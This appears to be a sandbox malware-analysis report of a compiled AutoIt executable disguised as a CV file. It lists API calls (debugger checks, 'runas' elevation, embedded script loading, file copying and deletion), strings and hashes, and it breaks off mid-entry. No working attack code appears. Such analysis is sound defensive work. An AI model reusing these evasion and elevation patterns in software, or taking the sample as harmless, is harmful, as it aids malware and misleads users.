Imagebase:	0x800000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	4%
Dynamic/Decrypted Code Coverage:	1.5%
Signature Coverage:	11.2%
Total number of Nodes:	2000
Total number of Limit Nodes:	149

Executed Functions

Function 003AB043 Relevance: 21.5, APIs: 14, Instructions: 537
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dcfba9208c50519421da5631e244e2b556c93cbbd403ec3255150d90c728fe14
Instruction ID: fdef2f1591fc5575ad107093842b1a02ff503790f9a3febbda27c1cdfee2baf2
Opcode Fuzzy Hash: dcfba9208c50519421da5631e244e2b556c93cbbd403ec3255150d90c728fe14
Instruction Fuzzy Hash: 6B325E75B022288BCB26CF55DC816E9B7B5FF4B310F1941D9E40AA7A92D7349E80CF52

Function 00383D19 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 151
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentDirectoryW.KERNEL32(00007FFF,?,00000000,00000001,?,?,00383AA3,?), ref: 00383D45
IsDebuggerPresent.KERNEL32(?,?,?,?,00383AA3,?), ref: 00383D57
GetFullPathNameW.KERNEL32(00007FFF,?,?,00441148,00441130,?,?,?,?,00383AA3,?), ref: 00383DC8

Part of subcall function 00386430: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,00383DEE,00441148,?,?,?,?,?,00383AA3,?), ref: 00386471

SetCurrentDirectoryW.KERNEL32(?,?,?,00383AA3,?), ref: 00383E48
MessageBoxA.USER32(00000000,This is a third-party compiled AutoIt script.,004328F4,00000010), ref: 003F1CCE
SetCurrentDirectoryW.KERNEL32(?,00441148,?,?,?,?,?,00383AA3,?), ref: 003F1D06
GetForegroundWindow.USER32(runas,?,?,?,00000001,?,0041DAB4,00441148,?,?,?,?,?,00383AA3,?), ref: 003F1D89
ShellExecuteW.SHELL32(00000000,?,?,?,?,00383AA3), ref: 003F1D90

Part of subcall function 00383E6E: GetSysColorBrush.USER32(0000000F), ref: 00383E79
Part of subcall function 00383E6E: LoadCursorW.USER32(00000000,00007F00), ref: 00383E88
Part of subcall function 00383E6E: LoadIconW.USER32(00000063), ref: 00383E9E
Part of subcall function 00383E6E: LoadIconW.USER32(000000A4), ref: 00383EB0
Part of subcall function 00383E6E: LoadIconW.USER32(000000A2), ref: 00383EC2
Part of subcall function 00383E6E: RegisterClassExW.USER32(?), ref: 00383F30

Part of subcall function 003836B8: CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 003836E6
Part of subcall function 003836B8: CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00383707
Part of subcall function 003836B8: ShowWindow.USER32(00000000,?,?,?,?,00383AA3,?), ref: 0038371B
Part of subcall function 003836B8: ShowWindow.USER32(00000000,?,?,?,?,00383AA3,?), ref: 00383724

Part of subcall function 00384FFC: _memset.LIBCMT ref: 00385022
Part of subcall function 00384FFC: Shell_NotifyIconW.SHELL32(00000000,?), ref: 003850CB

Strings

This is a third-party compiled AutoIt script., xrefs: 003F1CC8
runas, xrefs: 003F1D84
()C, xrefs: 003F1D49

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Window$IconLoad$CurrentDirectory$CreateFullNamePathShow$BrushClassColorCursorDebuggerExecuteForegroundMessageNotifyPresentRegisterShellShell__memset
String ID: ()C$This is a third-party compiled AutoIt script.$runas
API String ID: 438480954-1437867908
Opcode ID: b5963e12e2927d7dcb4fe14278fa2f8b73ef0b17490fbd119b2ef7c4e5a0c602
Instruction ID: e3681d973fa7f2588c110c758da144c6ee58bb17b5c1e62e6e9d0c75d3555776
Opcode Fuzzy Hash: b5963e12e2927d7dcb4fe14278fa2f8b73ef0b17490fbd119b2ef7c4e5a0c602
Instruction Fuzzy Hash: 68511835E04348AADF13BBF4DC46EFD7B79AF49B00F0040B5F6416A2A2DA745689CB25

Function 0039DDC0 Relevance: 10.7, APIs: 7, Instructions: 175
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExW.KERNEL32(?), ref: 0039DDEC
GetCurrentProcess.KERNEL32(00000000,0041DC38,?,?), ref: 0039DEAC
GetNativeSystemInfo.KERNELBASE(?,0041DC38,?,?), ref: 0039DF01
FreeLibrary.KERNEL32(00000000,?,?), ref: 0039DF0C
FreeLibrary.KERNEL32(00000000,?,?), ref: 0039DF1F
GetSystemInfo.KERNEL32(?,0041DC38,?,?), ref: 0039DF29
GetSystemInfo.KERNEL32(?,0041DC38,?,?), ref: 0039DF35

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: InfoSystem$FreeLibrary$CurrentNativeProcessVersion
String ID:
API String ID: 3851250370-0
Opcode ID: a7f265f7203c1f36ec6e9108bf49f34642c842839da5d454163b07770dce68ce
Instruction ID: 40bab6c346e085c658463f149ebfce77721f1009eff6f39a63bce6ae85e0e497
Opcode Fuzzy Hash: a7f265f7203c1f36ec6e9108bf49f34642c842839da5d454163b07770dce68ce
Instruction Fuzzy Hash: 5361A4B1C0A384DFCF16CF6898C25EA7FB46F29300B1A49D9D8859F247C674C949CB65

Function 0038406B Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?,?,?,?,?,0038449E,?,?,00000000,00000001), ref: 0038407B
FindResourceExW.KERNEL32(?,0000000A,SCRIPT,00000000,?,?,0038449E,?,?,00000000,00000001), ref: 00384092
LoadResource.KERNEL32(?,00000000,?,?,0038449E,?,?,00000000,00000001,?,?,?,?,?,?,003841FB), ref: 003F4F1A
SizeofResource.KERNEL32(?,00000000,?,?,0038449E,?,?,00000000,00000001,?,?,?,?,?,?,003841FB), ref: 003F4F2F
LockResource.KERNEL32(0038449E,?,?,0038449E,?,?,00000000,00000001,?,?,?,?,?,?,003841FB,00000000), ref: 003F4F42

Strings

SCRIPT, xrefs: 00384088

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Resource$CreateFindGlobalLoadLockSizeofStream
String ID: SCRIPT
API String ID: 3051347437-3967369404
Opcode ID: d2ae371b05221c34e457ada7d4a5afe2d99de8d6cfc364354ab7913e0a596012
Instruction ID: d9a916aa7ef59fe10e656717c163d070324311ef2511a51b2ba777d314f01c06
Opcode Fuzzy Hash: d2ae371b05221c34e457ada7d4a5afe2d99de8d6cfc364354ab7913e0a596012
Instruction Fuzzy Hash: BD117071600701BFE7229B65ED48F27BBB9EBC5B51F2045ACF60296650DB71DC048B20

Function 00393B70 Relevance: 5.9, Strings: 4, Instructions: 903COMMON

Download Yara Rule

Strings

D, xrefs: 003F701F
@, xrefs: 00394176
D, xrefs: 003940A4
D, xrefs: 003940EC

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Exception@8Throwstd::exception::exception
String ID: @$ D$ D$ D
API String ID: 3728558374-1500609730
Opcode ID: 2e45ab79a8e739c0bf65f45e095703b79a4bf97cdbcb91422f625bb27c1757a3
Instruction ID: c65461fe19937bf16c5d7e36cefdce244e1557309ffc649e39f9411162d93035
Opcode Fuzzy Hash: 2e45ab79a8e739c0bf65f45e095703b79a4bf97cdbcb91422f625bb27c1757a3
Instruction Fuzzy Hash: 3572AE75D04209AFCF16EF94C481EBEB7B5FF48300F15805AE90AAB251D771AE46CB91

Function 003C6CA9 Relevance: 4.5, APIs: 3, Instructions: 25fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,003F2F49), ref: 003C6CB9
FindFirstFileW.KERNELBASE(?,?), ref: 003C6CCA
FindClose.KERNEL32(00000000), ref: 003C6CDA

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: FileFind$AttributesCloseFirst
String ID:
API String ID: 48322524-0
Opcode ID: f75de7e3120863089cdfc42c03c720d37d5f73050922c4c2660a8e698c479def
Instruction ID: 683fdcfff2974e7687cce956d2175f5b5d6facdc10eb9ea9373dbd5e0ec79a48
Opcode Fuzzy Hash: f75de7e3120863089cdfc42c03c720d37d5f73050922c4c2660a8e698c479def
Instruction Fuzzy Hash: 11E0D831C1041057C2146778ED0E8EA376CDE05339F104729F471D11D0EF74DD0456D9

Function 00393200 Relevance: 2.2, Strings: 1, Instructions: 986COMMON

Download Yara Rule

Strings

D, xrefs: 003F933E

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: BuffCharUpper
String ID: D
API String ID: 3964851224-275895
Opcode ID: ca5c11dd6a10d24346ea7b4d50cbb2c584ec71e4c5899ec98adaf3be1ed8ac8c
Instruction ID: e43c20d8aa620abdfe422b9edad5ebfd446bd56556d9ab7f8b8b31ba4d5662ca
Opcode Fuzzy Hash: ca5c11dd6a10d24346ea7b4d50cbb2c584ec71e4c5899ec98adaf3be1ed8ac8c
Instruction Fuzzy Hash: FC927CB06083419FDB26DF18C480B6AB7E5FF89304F15885EE98A8B362D771ED45CB52

Function 0038E8D0 Relevance: 49.8, APIs: 24, Strings: 4, Instructions: 816windowsleeptimeCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0038E959
timeGetTime.WINMM ref: 0038EBFA
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0038ED2E
TranslateMessage.USER32(?), ref: 0038ED3F
DispatchMessageW.USER32(?), ref: 0038ED4A
LockWindowUpdate.USER32(00000000), ref: 0038ED79
DestroyWindow.USER32 ref: 0038ED85
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0038ED9F
Sleep.KERNEL32(0000000A), ref: 003F5270
TranslateMessage.USER32(?), ref: 003F59F7
DispatchMessageW.USER32(?), ref: 003F5A05
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 003F5A19

Strings

@GUI_CTRLHANDLE, xrefs: 003F53AC
@GUI_CTRLID, xrefs: 003F5314
@TRAY_ID, xrefs: 003F54C9
@GUI_WINHANDLE, xrefs: 003F5360

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Message$DispatchPeekTranslateWindow$DestroyLockSleepTimeUpdatetime
String ID: @GUI_CTRLHANDLE$@GUI_CTRLID$@GUI_WINHANDLE$@TRAY_ID
API String ID: 2641332412-570651680
Opcode ID: a31b945355af6bd996a8072241db9ebbe3c641d2531f411a3fdfcd8d998eec99
Instruction ID: ee060c9802133ab1efc6e9e37c362741ebcb5f5f367b1ca44797a3c7e895ff67
Opcode Fuzzy Hash: a31b945355af6bd996a8072241db9ebbe3c641d2531f411a3fdfcd8d998eec99
Instruction Fuzzy Hash: 0B62E270508344DFDB26EF24C885BAA77E4BF45304F1449BDFA4A8B292DBB4D848CB52

Function 003B5C78 Relevance: 47.9, APIs: 26, Strings: 1, Instructions: 626fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

___createFile.LIBCMT ref: 003B5EC3
___createFile.LIBCMT ref: 003B5F04
GetLastError.KERNEL32(?,?,?,?,?,00000000,00000109), ref: 003B5F2D
__dosmaperr.LIBCMT ref: 003B5F34
GetFileType.KERNELBASE(00000000,?,?,?,?,?,00000000,00000109), ref: 003B5F47
GetLastError.KERNEL32(?,?,?,?,?,00000000,00000109), ref: 003B5F6A
__dosmaperr.LIBCMT ref: 003B5F73
CloseHandle.KERNEL32(00000000,?,?,?,?,?,00000000,00000109), ref: 003B5F7C
__set_osfhnd.LIBCMT ref: 003B5FAC
__lseeki64_nolock.LIBCMT ref: 003B6016
__close_nolock.LIBCMT ref: 003B603C
__chsize_nolock.LIBCMT ref: 003B606C
__lseeki64_nolock.LIBCMT ref: 003B607E
__lseeki64_nolock.LIBCMT ref: 003B6176
__lseeki64_nolock.LIBCMT ref: 003B618B
__close_nolock.LIBCMT ref: 003B61EB

Part of subcall function 003AEA9C: CloseHandle.KERNELBASE(00000000,0042EEF4,00000000,?,003B6041,0042EEF4,?,?,?,?,?,?,?,?,00000000,00000109), ref: 003AEAEC
Part of subcall function 003AEA9C: GetLastError.KERNEL32(?,003B6041,0042EEF4,?,?,?,?,?,?,?,?,00000000,00000109), ref: 003AEAF6
Part of subcall function 003AEA9C: __free_osfhnd.LIBCMT ref: 003AEB03
Part of subcall function 003AEA9C: __dosmaperr.LIBCMT ref: 003AEB25

Part of subcall function 003A7C0E: __getptd_noexit.LIBCMT ref: 003A7C0E

__lseeki64_nolock.LIBCMT ref: 003B620D
CloseHandle.KERNEL32(00000000,?,?,?,?,?,00000000,00000109), ref: 003B6342
___createFile.LIBCMT ref: 003B6361
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000109), ref: 003B636E
__dosmaperr.LIBCMT ref: 003B6375
__free_osfhnd.LIBCMT ref: 003B6395
__invoke_watson.LIBCMT ref: 003B63C3
__wsopen_helper.LIBCMT ref: 003B63DD

Strings

@, xrefs: 003B5F98

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: __lseeki64_nolock$ErrorFileLast__dosmaperr$CloseHandle___create$__close_nolock__free_osfhnd$Type__chsize_nolock__getptd_noexit__invoke_watson__set_osfhnd__wsopen_helper
String ID: @
API String ID: 3896587723-2766056989
Opcode ID: bb4e74130f68f1428b9926e74b5e7d8e48ad706c2373c2b980318f275c41617a
Instruction ID: 2c00da54ba79d8693d423f12d7fce246618f8f978ab0400d4a1f8f4ae3c94a62
Opcode Fuzzy Hash: bb4e74130f68f1428b9926e74b5e7d8e48ad706c2373c2b980318f275c41617a
Instruction Fuzzy Hash: 0A223771D046059FEF2B9F68CC86BFD7B65EB05318F294228E6219BAD2C3398D40C751

Function 003CFA0C Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 238
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_wcscpy.LIBCMT ref: 003CFA96
_wcschr.LIBCMT ref: 003CFAA4
_wcscpy.LIBCMT ref: 003CFABB
_wcscat.LIBCMT ref: 003CFACA
_wcscat.LIBCMT ref: 003CFAE8
_wcscpy.LIBCMT ref: 003CFB09
__wsplitpath.LIBCMT ref: 003CFBE6
_wcscpy.LIBCMT ref: 003CFC0B
_wcscpy.LIBCMT ref: 003CFC1D
_wcscpy.LIBCMT ref: 003CFC32
_wcscat.LIBCMT ref: 003CFC47
_wcscat.LIBCMT ref: 003CFC59
_wcscat.LIBCMT ref: 003CFC6E

Part of subcall function 003CBFA4: _wcscmp.LIBCMT ref: 003CC03E
Part of subcall function 003CBFA4: __wsplitpath.LIBCMT ref: 003CC083
Part of subcall function 003CBFA4: _wcscpy.LIBCMT ref: 003CC096
Part of subcall function 003CBFA4: _wcscat.LIBCMT ref: 003CC0A9
Part of subcall function 003CBFA4: __wsplitpath.LIBCMT ref: 003CC0CE
Part of subcall function 003CBFA4: _wcscat.LIBCMT ref: 003CC0E4
Part of subcall function 003CBFA4: _wcscat.LIBCMT ref: 003CC0F7

Strings

t2C, xrefs: 003CFC97
>>>AUTOIT SCRIPT<<<, xrefs: 003CFA61

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: _wcscat$_wcscpy$__wsplitpath$_wcschr_wcscmp
String ID: >>>AUTOIT SCRIPT<<<$t2C
API String ID: 2955681530-1673348803
Opcode ID: fb09e844e7c336bfdb3dc15d3a1d88a9b8dda2ac14115f7ab818dccf96e4c483
Instruction ID: e1183d384589cc31ef59cf055f5f7d2f4f432bcfb1a4d4fbf40a9f2854ca23b6
Opcode Fuzzy Hash: fb09e844e7c336bfdb3dc15d3a1d88a9b8dda2ac14115f7ab818dccf96e4c483
Instruction Fuzzy Hash: FA919172504705AFCB16EB54C851F9AB3E9FF48310F04886DF9499B292DB35EE44CB91

Function 00383F53 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 53
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00383F86
RegisterClassExW.USER32(00000030), ref: 00383FB0
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00383FC1
InitCommonControlsEx.COMCTL32(?), ref: 00383FDE
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00383FEE
LoadIconW.USER32(000000A9), ref: 00384004
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00384013

Strings

0, xrefs: 00383F68
TaskbarCreated, xrefs: 00383FB6
AutoIt v3 GUI, xrefs: 00383FA2
+, xrefs: 00383F6F

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: b2135169496edcf71f86f17e9c33edc42eded5879fd178af744e8bae808539c4
Instruction ID: b0e8152f72bb77345352e97b01f285b1461b72148c2c2b60b535605f6d9f2407
Opcode Fuzzy Hash: b2135169496edcf71f86f17e9c33edc42eded5879fd178af744e8bae808539c4
Instruction Fuzzy Hash: AD21C7B9D00318AFDB00DFE4E989BCDBBB4FB09714F01422AF615B62A0D7B545848F99

Function 003CBFA4 Relevance: 18.3, APIs: 12, Instructions: 316
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 003CBDB4: __time64.LIBCMT ref: 003CBDBE

Part of subcall function 00384517: _fseek.LIBCMT ref: 0038452F

__wsplitpath.LIBCMT ref: 003CC083

Part of subcall function 003A1DFC: __wsplitpath_helper.LIBCMT ref: 003A1E3C

_wcscpy.LIBCMT ref: 003CC096
_wcscat.LIBCMT ref: 003CC0A9
__wsplitpath.LIBCMT ref: 003CC0CE
_wcscat.LIBCMT ref: 003CC0E4
_wcscat.LIBCMT ref: 003CC0F7
_wcscmp.LIBCMT ref: 003CC03E

Part of subcall function 003CC56D: _wcscmp.LIBCMT ref: 003CC65D
Part of subcall function 003CC56D: _wcscmp.LIBCMT ref: 003CC670

DeleteFileW.KERNEL32(?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 003CC2A1
DeleteFileW.KERNEL32(?,?,?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 003CC338
CopyFileW.KERNELBASE(?,?,00000000,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 003CC34E
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 003CC35F
DeleteFileW.KERNELBASE(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 003CC371

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: File$Delete$_wcscat_wcscmp$__wsplitpath$Copy__time64__wsplitpath_helper_fseek_wcscpy
String ID:
API String ID: 2378138488-0
Opcode ID: eeff526ecff67eda39daa9aaa2ca1666de8fac4a1e0ca102b0a32a97babfdd03
Instruction ID: 46cc90500c143c3a1874bbcce9e7741a45e5c6e16734082457e5bd00c2da8416
Opcode Fuzzy Hash: eeff526ecff67eda39daa9aaa2ca1666de8fac4a1e0ca102b0a32a97babfdd03
Instruction Fuzzy Hash: 94C108B1D10219AADF12DF95CC81EDEBBBDEF49310F0040AAF609EA151DB719E848F65

Function 00383742 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 151
windowtimeregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DefWindowProcW.USER32(?,?,?,?), ref: 003837B3
KillTimer.USER32(?,00000001), ref: 003837DD
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00383800
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 0038380B
CreatePopupMenu.USER32 ref: 0038381F
PostQuitMessage.USER32(00000000), ref: 0038382E

Strings

TaskbarCreated, xrefs: 00383806

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
String ID: TaskbarCreated
API String ID: 129472671-2362178303
Opcode ID: b35e1bfc1acb9c5d26a708896ac233208cadea66ed2cf55711671f6bce3eadb5
